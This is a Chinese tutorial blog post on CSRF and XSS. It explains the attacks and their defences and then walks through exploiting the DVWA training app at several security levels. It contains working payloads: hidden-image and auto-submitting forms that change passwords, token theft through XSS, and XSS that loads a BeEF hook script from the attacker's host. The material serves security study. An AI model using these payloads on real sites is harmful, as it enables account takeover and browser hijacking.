前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >2024全网最全面及最新的网络安全技巧 二 之 CSRF+XSS漏洞的各类利用技巧 ———— 作者:LJS

2024全网最全面及最新的网络安全技巧 二 之 CSRF+XSS漏洞的各类利用技巧 ———— 作者:LJS

作者头像
盛透侧视攻城狮
发布2024-10-22 11:02:26
发布2024-10-22 11:02:26
14100
代码可运行
举报
运行总次数:0
代码可运行

2.1 CSRF攻击原理及防护

2.1.1 CSRF是什么

  • ssrf 服务端请求伪造
  • CSRF全称为跨站请求伪造(Cross-site request forgery),是一种网络攻击方式,也被称为 one-click attack 或者 session riding。

2.1.2 CSRF攻击原理

  • CSRF攻击利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。

2.1.3 CSRF攻击实例

  • 角色:
  • 正常浏览网页的用户:User
  • 正规的但是具有漏洞的网站:WebA
  • 利用CSRF进行攻击的网站:WebB

流程:

  1. 步骤一 用户登录、浏览并信任正规网站WebA,同时,WebA通过用户的验证并在用户的浏览器中产生Cookie。
  1. 步骤二 攻击者WebB通过在WebA中添加图片链接等方式诱导用户User访问网站WebB。
  1. 步骤三 在用户User被诱导访问WebB后,WebB会利用用户User的浏览器访问第三方网站WebA,并发出操作请求。
  1. 步骤四 用户User的浏览器根据WebB的要求,带着步骤一中产生的Cookie访问WebA。
  1. 步骤五 网站WebA接收到用户浏览器的请求,WebA无法分辨请求由何处发出,由于浏览器访问时带上用户的Cookie,因此WebA会响应浏览器的请求,如此一来,攻击网站WebB就达到了模拟用户操作的目的。

2.1.4 CSRF攻击防护

上文简单的叙述了CSRF攻击的原理,接下来将要介绍几种CSRF攻击的防护方法。

1. 只使用JSON API

使用JavaScript发起AJAX请求是限制跨域的,并不能通过简单的表单来发送JSON,所以,通过只接收JSON可以很大可能避免CSRF攻击。

2. 验证HTTP Referer字段
  • 根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如上文中用户User想要在网站WebA中进行转账操作,那么用户User必须先登录WabA 然后再通过点击页面上的按钮出发转账事件
  • 这时该转帐请求的 Referer 值就会是转账按钮所在的页面的URL,而如果黑客要对银行网站实施 CSRF攻击,他只能在他自己的网站构造请求,当用户User通过黑客的网站发送请求到WebA时,该请求的 Referer 是指向黑客自己的网站。
  • 因此,要防御 CSRF 攻击,网站WebA只需要对于每一个转账请求验证其 Referer 值,如果是以网站WebA的网址开头的域名,则说明该请求是来自WebA自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。

3. 在请求地址中添加token验证
  • 服务端生成了一个token dsadadarqewajafjoenfeanf
  • CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。
  • 要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。
  • 可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。
  • 这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对

2.2 DVWA之CSRF漏洞

  • csrf全称为:Cross-site request forgery,是一种常见的web攻击。在场景中,攻击者会伪造一个请求(通常是一个链接),然后欺骗目标用户点击,用户一旦点击,攻击也就完成了。
  • 与xss的区别:csrf是借助用户的权限完成攻击,攻击者并没有拿到权限;而xss是直接盗取用户权限去进行破坏。 更改难度

点击 dvwa security ,选择难度,然后点击 submit 完成更改

2.2.1 LOW难度

  • 首先,我们先看一下网页源代码
  • 我们可以看到 low 难度的源代码中,并没有隐藏的 token ,这样我们的难度就小了很多。 然后我猜测这里的密码检测是直接将输入的进行拼接,检验 password_new 与 password_conf 是否一致。
  • 于是可以先伪造一个简陋的链接: http://192.168.1.102/dvwamaster/vulnerabilities/csrf/password_new=password&password_conf=password&Change=Change#
  • 注:里面的ip要改成自己的 一旦用户点击链接,就会出现红字:
  • 这样我们就成功地将密码更改为 password 了 当然,我们可以将链接修饰一下,毕竟这样一看就能看出来。 比如我们可以在网上找一个短链接生成器

也可以利用html构造一个攻击界面

代码语言:javascript
代码运行次数:0
运行
复制
<img src=“http://192.168.1.102/dvwa-master/vulnerabilities/csrf/?
password_new=password&password_conf=password&Change=Change#” border=“0” style=“display:none;”/>
<h1>404<h1>
<h2>file not found.<h2>

看似是一个失效的页面,但其实已将改掉了密码

  • 看似是一个失效的页面,但其实已将改掉了密码

2.2.2 Medium难度

我们看一下网页代码:

代码语言:javascript
代码运行次数:0
运行
复制
<br/>
<form action="#”method="GET'>
New password:<br />
<input type="passwordAUTOCOMPLETE=offname="password new"<br />
Confirm new password:<br />
<input type="password”AUTOCOMPLETE=off”name=”password_conf">
<br/>
<input type="submit" value="Change” name="Change">
<!--这段代码定义了一个包含两个密码输入框和一个提交按钮的简单表单,
用户可以在其中输入新密码并确认,
然后点击 "Change" 按钮提交表单数据。
整个表单使用 GET 方法提交数据,
因为在 <form> 标签中指定了 method="GET"。-->

与low难度一样,没有token,这时候,我们可以看一下源代码

代码语言:javascript
代码运行次数:0
运行
复制
<·?php
if( isset( $_GET[ ‘Change’ ] ) ) {undefined
// Checks to see where the request came from
if( eregi( $_SERVER[ ‘SERVER_NAME’ ], $_SERVER[ ‘HTTP_REFERER’ ] ) ) {undefined
// Get input
$pass_new = $_GET[ ‘password_new’ ];
$pass_conf = $_GET[ ‘password_conf’ ];
//这两行代码将表单中输入的新密码和确认密码分别存储在 $pass_new 和 $pass_conf 变量中。
if( eregi( $_SERVER[ ‘SERVER_NAME’ ], $_SERVER[ ‘HTTP_REFERER’ ] ) )
// 再次检查请求来源是否与当前服务器的域名匹配

/*注:在php语言中int eregi(string pattern, string string),
译为检查string函数中是否含有pattern.
如果有返回True,反之False。
*/

因此,此句是判断 HTTP_REFERER 中是否包含 SERVER_NAME,HTTP_REFERER 是 Referer 参数值,即来源地址 SERVER_NAME是 host 参数及主机 ip 名(我这里是 192.168.1.102 )

所以,如果我们想要破解它,就要让 Referer 参数值包含主机名

我们写一个html文件,和low难度的那个文件内容相同:

代码语言:javascript
代码运行次数:0
运行
复制
<img src=“http://192.168.1.102/dvwa-master/vulnerabilities/csrf/?
password_new=password&password_conf=password&Change=Change#” border=“0” style=“display:none;”/>
<h1>404<h1>
<h2>file not found<h2>

写好后将其命名为ip地址.html格式,如:192.168.1.102.html

然后将其放在网页根目录WWW的DVWA文件中

然后我们打开burp suite,对csrf界面抓一次包,发送至repeater,将Referer地址改为http://攻击者服务器地址/dvwa/被攻击ip地址.html格式,如图:

点击go,可以看到

密码成功更改。

2.2.3 High难度

我们看一下网页代码:

代码语言:javascript
代码运行次数:0
运行
复制
<form action="#"method="GET">
    New password:<br >
    <input type="password" AUTOCOMPLETE="off" name="password_new" >                            
    <br/>
    Confirmnewpassword:<br/ >
    <input type="password"AUTOCOMPLETE="off”name="password_conf"<br /><br/>
    <input type=" submit" value="Change”name= "Change ">
    <input type= "hidden" name='user_token'value='9d828e9ff7b01c1b5e0aa4a0ee844b95/>
</form>

这次有了token值,这个值并不是很容易就看到的,我们需要在攻击者服务器上获取被攻击者的token值。

csrf攻击本质是重要操作的所有参数,都可以被攻击者猜测到

因此我们必须要获得token值!

我们要先看一下源代码:

代码语言:javascript
代码运行次数:0
运行
复制
if( isset( $_GET[ ‘Change’ ] ) ) {
checkToken( $_REQUEST[ ‘user_token’ ], $_SESSION[ ‘session_token’ ], ‘index.php’ );
//这个函数用于检查用户的令牌(token)是否有效,以防止跨站请求伪造(CSRF)攻击。它会比较用户提交的令牌 user_token 和当前会话中的令牌 session_token 是否匹配。
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
//使用 mysql_real_escape_string 函数对新密码进行转义,以防止 SQL 注入攻击。
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . 
//构建 SQL 查询语句并执行更新操作:dvwaCurrentUser() .
"';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
//关闭与数据库的连接。

/*这段代码中使用了
 mysql_real_escape_string 
对用户输入的密码进行了转义处理,
这是为了防止 SQL 注入攻击。
另外,它使用了 MD5 加密来存储密码,*/

我们的攻击思路是试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而获得token值,并向服务器发送改密请求,完成攻击。

但是,浏览器并不允许跨域请求,因此,我们可以利用xss漏洞

点击XSS(Stored),我们需要构造一条语句来获取token,由于有字符数限制,这里有两种方法:

  1. 一是利用burp suite 进行抓包,然后改参数,运行获取token。
  2. 二是利用火狐浏览器。两种大体思路一致,这里我具体说一下第二种。
  • 火狐浏览器打开xss(stored)界面,点击浏览器中的设置->web开发者->查看器,找到和name框架有关的代码(ctrl+f,输入txtname)

我们将size和maxlength值改大一点,

这样,我们就可以在name框中输入构造代码了,代码如下:

代码语言:javascript
代码运行次数:0
运行
复制
<iframe src="…/csrf"οnlοad=alert(frames[0].document.getElementsByName(‘user_token’)[0].value)>
<!--frames[0].document.getElementsByName('user_token')[0].value
这段 JavaScript 代码的
目的是获取嵌入文档中名为 'user_token' 的表单元素的值,
并将其弹出显示在警告框中-->

此为token,有了这个,我们就可以利用medium中的方法进行攻击。

2.2.4 impossible

加入了PDO预编译语句防止SQL注入,防止CSRF不仅用了token,还要求用户输入原密码,这样在不知道原密码的情况下就无法构造参数。因此,目前还无法破解。

2.3 漏洞组合拳之XSS+CSRF记录

2.3.1 前言

今天学习一下 XSS + CSRF 组合拳,现将笔记记录如下。

2.3.2靶场环境

  • 本机(Win):192.168.38.1
  • DVWA(Win):192.168.38.132
  • Beef(Kali):192.168.38.129

2.3.3 组合拳思路

  • 第一拳:存储型 XSS + CSRF(存储型 XSS 攻击代码中加入 CSRF 代码链接)
  • 第二拳:CSRF + SelfXSS(CSRF 代码中加入 SelfXSS 代码)

2.3.4 【第一拳】存储型 XSS + CSRF

(1) 构造 POC
  • a、构造 CSRF 代码
  • 这里建议使用 CSRFTester 工具生成的 POC,比使用 BurpSuite 生成的 POC 更加隐蔽,受害者打开该 POC 后,浏览器会自动执行代码随后跳转到正常页面,中途不需要用户交互,也不用像 BurpSuite 生成的 POC 那样还需要受害者手动点击按钮。
  • 本文所使用的 CSRF POC 便是基于 CSRFTester 生成的 POC。
  • 继续来看,咱们需要首先为浏览器设置 8080 代理,打开 DVWA 的 CSRF 模块,输入密码后,先别急着点击 Change.
  • 这时先开启 CSRFTester 的流量记录功能。
  • 开启后,再点击 Change,之后 CSRFTester 就会抓取到修改密码的数据包,这个时候,一般 CSRFTester 还会记录其他流量,所以直接右击将不相关的流量进行删除即可,只保留我们需要的流量。
  • 之后,在 Form Parameters 中将左侧 Query Parameters 数据修改复制即可,值得注意的是 Display in Browers 选项是默认勾选的,这里建议根据自己情况而定。因为这个工具自动生成的代码在我这边是需要手动修改才能利用的,所以我这边选择取消勾选。
  • 之后点击 Generate HTML,选择保存的位置后,手动进行修改即可,当然如果工具生成的代码可以正常使用,就不需要修改了。
  • 对于代码的修改,我主要是将 head、H2标题的内容删除了,以增加隐蔽性。同时增加了倒数第 4 行的代码,因为没有这一句,这个 POC 是不能正常使用的,最后修改后的 CSRF POC 代码如下。
代码语言:javascript
代码运行次数:0
运行
复制
<html>
<body onload="javascript:fireForms()">
<!--当页面加载完成时,会触发 fireForms() 函数,即自动提交表单的函数。
-->
<script language="JavaScript">
var pauses = new Array( "42" );
<!--包含了一个时间间隔(以毫秒为单位),用于模拟用户的操作间隔。-->
function pausecomp(millis){
    var date = new Date();
    var curDate = null;
    do { curDate = new Date(); }
    while(curDate-date < millis);}
<!--用于实现停顿,即在指定的时间内等待执行下一步操作。-->
function fireForms(){
    var count = 1;
    var i=0;
    for(i=0; i<count; i++){
        document.forms[i].submit();
        pausecomp(pauses[i]);}}
<!.--在提交表单之后,等待指定的时间间隔后再继续执行下一个操作-->
</script>
<form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/csrf/?password_new=12345678&password_conf=12345678&Change=Change">
<!--定义了一个 GET 方法的表单,
其中包含了一个目标 URL,该 URL 是 CSRF 攻击的目标,
同时提供了新密码、确认密码和修改操作的参数。-->
<input type="hidden" name="password_new" value="123123"/>
<input type="hidden" name="password_conf" value="123123"/>
<!--隐藏的表单输入,用于指定要修改的密码。-->
<input type="hidden" name="Change" value="Change" />
</form>
</body>
</html>
<!--综合起来,这段代码的作用是在页面加载完成后,
自动提交一个包含恶意操作(修改密码)的表单到指定的目标 URL,
从而进行 CSRF 攻击。-->
b、构造 XSS 代码
代码语言:javascript
代码运行次数:0
运行
复制
<script src="x" onerror=javascript:window.open("http://192.168.38.1/csrf.html")></script>
/*指定了一个 JavaScript 代码片段作为 onerror 事件处理程序。
当 src 属性指定的资源加载失败时,
就会执行这段 JavaScript 代码。
代码的作用是通过 window.open() 方法在新窗口中打开指定的 URL,
即 "http://192.168.38.1/csrf.html"。*/

(2) 开工

  • 在 XSS (Stored) 模块下,插入 XSS 代码,当然了前提 Security Level 要设置为 low。
  • 在 DVWA 中会碰到 POC 太长而无法输入完全的情况,这个时候在开发者工具中将这个框的 maxlength 值设置大一点即可,这里我设置了 500.
  • 点击 sign guestbook 按钮,POC 就会被插进去了,之后用其他浏览器登陆其他用户,访问存储型 XSS 模块页面,当然前提也需要把 Security Level 要设置为 low.

访问页面后,浏览器会自动跳转,同时返回修改密码的界面,如果弹出页面显示如上图中的 Password Changed 字样,就说明受害者的密码修改成功了,而这也仅仅是因为受害者点击了一个页面。

2.3.5【第二拳】CSRF + SelfXSS

(1)构造 POC

a、构造 XSS 代码

我这里使用 beef 作为 XSS 平台。

代码语言:javascript
代码运行次数:0
运行
复制
<script src="http://192.168.38.129:3000/hook.js"></script>

b、构造 CSRF 代码

这里继续使用 CSRFTester 工具生成 CSRF POC。

具体步骤如上图,这里就直接放出 CSRF POC 代码了,主要还是修改了倒数第 4 行的代码。

代码语言:javascript
代码运行次数:0
运行
复制
<html>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "54" );
function pausecomp(millis){
    var date = new Date();
    var curDate = null;
    do { curDate = new Date(); }
    while(curDate-date < millis);}
function fireForms(){
    var count = 1;
    var i=0;
    for(i=0; i<count; i++){
    	document.forms[i].submit(); 
        pausecomp(pauses[i]);}}   
</script>
<form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/xss_r/?name=<script src='http://192.168.38.129:3000/hook.js'></script>">
<input type="hidden" name="name" value="<script src='http://192.168.38.129:3000/hook.js'></script>"/> 
/*这段代码包含一个 <form> 元素,
它的 action 属性指向一个可能存在 XSS 漏洞的网页,
并且带有一个参数名为 'name' 的 GET 请求参数,
其值包含了一个指向恶意 JavaScript 文件的 <script> 标签。
同时,还有一个隐藏的文本输入字段,其值也包含同样的恶意 JavaScript 代码。*/
</form>
</body>
</html>
/*综合来看,这段代码利用了 JavaScript 
来自动提交包含恶意代码的表单到一个可能存在 XSS 漏洞的页面,
以尝试在用户浏览器中执行恶意的 JavaScript 代码。*/
代码语言:javascript
代码运行次数:0
运行
复制
将上面代码放到本地 Web 服务中,打开其他浏览器,登陆其他账户,再打开我们构造的 CSRF 链接。 
代码语言:javascript
代码运行次数:0
运行
复制
http://192.168.38.1/csrf.html

打开链接后,beef 中就能看到上线的主机了。

不过由于这个组合拳是需要诱导受害者点击构造的 CSRF 链接的,所以个人觉着利用难度要高于第一个组合拳:存储型 XSS + CSRF.

2.4 总结 暂时技巧就记录到这里,对于组合拳的利用方法也还有很多,这里只是自己简单的记录了两种。平时挖洞的时候利用好组合拳,所起到的效果可是杠杠滴。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-08-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 2.1 CSRF攻击原理及防护
    • 2.1.1 CSRF是什么
    • 2.1.2 CSRF攻击原理
    • 2.1.3 CSRF攻击实例
    • 2.1.4 CSRF攻击防护
      • 1. 只使用JSON API
      • 2. 验证HTTP Referer字段
      • 3. 在请求地址中添加token验证
  • 2.2 DVWA之CSRF漏洞
    • 2.2.1 LOW难度
    • 2.2.2 Medium难度
    • 2.2.3 High难度
    • 2.2.4 impossible
  • 2.3 漏洞组合拳之XSS+CSRF记录
    • 2.3.1 前言
    • 2.3.2靶场环境
    • 2.3.3 组合拳思路
    • 2.3.4 【第一拳】存储型 XSS + CSRF
      • (1) 构造 POC
    • (2) 开工
    • 2.3.5【第二拳】CSRF + SelfXSS
      • (1)构造 POC
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档